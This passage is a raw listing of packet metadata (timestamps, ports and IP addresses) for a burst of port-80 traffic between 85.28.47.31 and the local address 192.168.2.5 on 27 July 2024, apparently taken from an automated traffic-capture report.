Jul 27, 2024 09:25:06.736569881 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.736579895 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.736605883 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.736614943 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.736639023 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.736650944 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.736673117 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.736681938 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.736776114 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.736792088 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.736839056 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.736841917 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.736887932 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.736893892 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.736927032 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.736938000 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.736959934 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.736970901 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.737001896 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.737010002 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.737044096 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.737056017 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.737076044 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.737082958 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.737108946 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.737118006 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.737150908 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.737158060 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.737204075 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.737210035 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.737242937 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.737253904 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.737276077 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.737286091 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.737308025 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.737315893 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.737343073 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.737351894 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.737386942 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.737392902 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.737431049 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.737440109 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.737473011 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.737481117 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.737512112 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.737524986 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.737546921 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.737556934 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.737582922 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.737588882 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.737618923 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.737632990 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.737653017 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.737660885 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.737687111 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.737696886 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.737720013 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.737728119 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.737751961 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.737761021 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.737786055 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.737792015 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.737818956 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.737824917 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.737849951 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.737864017 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.737883091 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.737891912 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.737915039 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.737927914 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.737947941 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.737962008 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.737979889 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.737991095 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.738013029 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.738019943 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.738045931 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.738058090 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.738079071 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.738087893 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.738112926 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.738116026 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.738151073 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.738152027 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.738183975 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.738193989 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.738217115 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.738225937 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.738250017 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.738260031 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.738281965 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.738295078 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.738317013 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.738327026 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.738349915 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.738360882 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.738383055 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.738393068 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.738415956 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.738432884 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.738451958 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.738481998 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.738482952 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.738517046 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.738518953 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.738547087 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.738548994 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.738559961 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.738584042 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.738591909 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.738627911 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.739434958 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.739468098 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.739521027 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.739577055 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.739595890 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.739625931 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.739630938 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.739660025 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.739672899 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.739702940 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.739708900 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.739742041 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.739756107 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.739774942 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.739785910 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.739806890 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.739818096 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.739840031 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.739850998 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.739871979 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.739881992 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.739913940 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.739921093 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.739954948 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.739967108 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.739988089 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.739998102 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.740025043 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.740030050 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.740058899 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.740073919 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.740089893 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.740103006 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.740127087 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.740133047 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.740170956 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.740175962 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.740209103 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.740222931 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.740242004 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.740252972 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.740273952 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.740288973 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.740305901 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.740314960 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.740338087 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.740350962 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.740370035 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.740385056 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.740401983 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.740413904 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.740432978 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.740446091 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.740464926 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.740474939 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.740508080 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.740518093 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.740552902 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.740556002 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.740585089 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.740597010 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.740617990 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.740628004 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.740649939 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.740660906 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.740684032 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.740694046 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.740715027 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.740726948 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.740751982 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.740758896 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.740783930 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.740794897 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.740818024 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.740827084 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.740850925 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.740860939 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.740883112 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.740894079 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.740916014 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.740926981 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.740948915 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.740961075 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.740981102 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.740991116 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.741014004 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.741023064 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.741048098 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.741056919 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.741080046 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.741091967 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.741116047 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.741122961 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.741159916 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.829361916 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.829432011 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.829468012 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.829500914 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.829531908 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.829531908 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.829531908 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.829535961 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.829550982 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.829571962 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.829576969 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.829607010 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.829617023 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.829639912 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.829643011 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.829680920 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.829691887 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.829725027 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.829749107 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.829758883 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.829763889 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.829797029 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.829811096 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.829844952 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.829853058 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.829880953 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.829884052 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.829915047 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.829925060 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.829956055 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.829957008 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.829991102 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.829998970 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.830034018 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.830041885 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.830081940 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.830082893 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.830116034 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.830123901 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.830153942 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.830168009 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.830200911 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.830214024 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.830243111 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.830250978 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.830282927 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.830291986 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.830316067 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.830324888 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.830348015 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.830360889 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.830383062 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.830389977 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.830416918 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.830424070 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.830456972 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.830467939 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.830499887 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.830509901 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.830535889 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.830538034 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.830566883 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.830578089 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.830607891 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.830610991 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.830645084 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.830677986 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.830678940 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.830694914 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.830709934 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.830720901 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.830743074 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.830753088 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.830785990 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.830799103 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.830840111 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.830848932 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.830882072 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.830888033 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.830914021 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.830923080 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.830948114 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.830955982 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.830981016 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.830986023 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.831021070 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.831031084 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.831063032 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.831065893 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.831095934 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.831104040 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.831137896 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.831144094 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.831176996 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.831207991 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.831209898 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.831217051 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.831243038 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.831248999 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.831276894 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.831286907 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.831310034 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.831321955 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.831341982 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.831345081 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.831374884 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.831383944 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.831408024 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.831418991 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.831439972 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.831446886 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.831473112 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.831486940 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.831507921 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.831516981 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.831542969 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.831551075 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.831577063 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.831585884 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.831609011 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.831618071 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.831643105 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.831651926 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.831675053 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.831684113 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.831708908 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.831722021 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.831743002 CEST	80	49704	85.28.47.31	192.168.2.5
